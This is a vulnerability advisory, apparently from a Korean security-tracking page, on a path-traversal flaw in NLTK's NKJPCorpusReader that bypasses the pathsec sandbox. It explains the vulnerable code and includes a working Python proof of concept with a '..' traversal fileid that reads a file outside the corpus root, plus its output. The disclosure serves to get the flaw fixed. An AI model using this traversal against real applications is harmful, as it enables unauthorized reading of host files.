Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N상세 설명
Summary
A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can
influence the fileids argument of its public read methods (header, raw,
words, sents, tagged_words) to read files outside the corpus root. The
reader builds the file path with no containment check and opens it with the
builtin open(), so it bypasses NLTK's nltk.pathsec sandbox — including the
strict ENFORCE = True mode that SECURITY.md recommends for web/multi-tenant
deployments. header() returns the parsed content of the out-of-root file to
the caller (arbitrary file read).
Details
SECURITY.md promises that file access is "validated against allowed NLTK data
directories" and that with nltk.pathsec.ENFORCE = True "unauthorized file
access … will raise PermissionError." That guarantee is enforced via
FileSystemPathPointer.open() / CorpusReader.open(), which call
nltk.pathsec.validate_path(...).
NKJPCorpusReader never uses that protected path. In
nltk/corpus/reader/nkjp.py:
add_root()builds the path by plain string concatenation with no
normalization or containment check:python1def add_root(self, fileid): # lines 96-1022 if self.root in fileid:3 return fileid # attacker-controlled value returned unchanged4 return self.root + fileid # plain concat, '..' not stripped- The header view appends a fixed basename and passes the string straight into
the corpus view (which opens it with the builtinopen()):python1class NKJPCorpus_Header_View(XMLCorpusView): # line 1812 def __init__(self, filename, **kwargs):3 XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec) # line 189 - The other modes reach the filesystem through
XML_Tool, which uses a raw
os.path.join(not the hardenedFileSystemPathPointer.join()) and the
builtinopen():python1class XML_Tool: # line 2432 def __init__(self, root, filename):3 self.read_file = os.path.join(root, filename) # line 2514 def build_preprocessed_file(self):5 fr = open(self.read_file) # line 256 — pathsec never consulted
Because open() is the builtin (not PathPointer.open()), the pathsec
sentinel is never invoked, so ENFORCE = True does not block the access. For
comparison, the safe API CorpusReader.open() (nltk/corpus/reader/api.py:222)
rejects ../absolute fileids and calls validate_path(..., required_root=...)
before opening — NKJPCorpusReader simply does not go through it.
PoC
Tested against nltk==3.9.4 (latest PyPI release) and current develop.
1pip install "nltk==3.9.4" 2python3 poc.pypoc.py:
1import builtins, os, shutil, tempfile, warnings 2warnings.simplefilter("ignore") 3import nltk, nltk.pathsec as pathsec 4from nltk.corpus.reader.nkjp import NKJPCorpusReader 5 6print("nltk", nltk.__version__) 7 8# A legitimate, empty NKJP corpus root (what a real app has). 9root = tempfile.mkdtemp(prefix="nkjp_corpus_root_")10os.makedirs(os.path.join(root, "sample"), exist_ok=True)11open(os.path.join(root, "sample", "header.xml"), "w").write("<x/>")12 13# The attacker's target: a file OUTSIDE the corpus root.14secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_")15open(os.path.join(secret_dir, "header.xml"), "w").write(16"<teiHeader><fileDesc><sourceDesc><bibl>"17"<title>SECRET-API-KEY=sk-live-DEADBEEF</title>"18 "</bibl></sourceDesc></fileDesc></teiHeader>")19 20# Enable the strict mode SECURITY.md recommends for web / multi-tenant.21pathsec.ENFORCE = True22print("ENFORCE =", pathsec.ENFORCE)23 24# Prove the out-of-root read and that pathsec is never consulted.25opened = []; real = builtins.open26builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]27 28reader = NKJPCorpusReader(root=root + "/", fileids="sample")29# Attacker-controlled `fileids`; '..' escapes the corpus root:30evil = root + "/../../../../../../.." + secret_dir + "/"31try:32 result = reader.header(fileids=[evil])33finally:34 builtins.open = real35 36print("opened outside root:", [p for p in opened if "OUTSIDE_ROOT_" in p][:1])37print("disclosed content :", result[0]["title"])38shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)Output (unmodified):
1nltk 3.9.4 2ENFORCE = True 3opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml'] 4disclosed content : SECRET-API-KEY=sk-live-DEADBEEFWith ENFORCE = True, NLTK opened a file outside the corpus root via the
builtin open() (no PermissionError, no warning) and returned its content.
Impact
This is a path traversal (CWE-22) leading to arbitrary file read. Any
application that passes attacker-influenced values into NKJPCorpusReader's
fileids (e.g. letting a user choose which corpus document to read) is
affected; the attacker can escape the corpus root and read files elsewhere on
the host, defeating the ENFORCE=True sandbox.
Honest scoping: header() discloses the content of out-of-root files named
header.xml containing NKJP header XML. raw()/words()/sents() also open
and read an arbitrary out-of-root file (proven by intercepting open()), but a
separate pre-existing bug in XML_Tool (writing str to a binary
NamedTemporaryFile) suppresses their return value on current Python, so for
those modes the impact is arbitrary file open/read. The attacker chooses the
directory freely; a fixed basename is appended per mode. The same
"build-path-then-builtin-open, skipping pathsec" anti-pattern also appears in
xmldocs.py:161, util.py:212,215, crubadan.py:78,97, lin.py:43,
ipipan.py:191, pl196x.py:110 and is worth fixing as a class.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.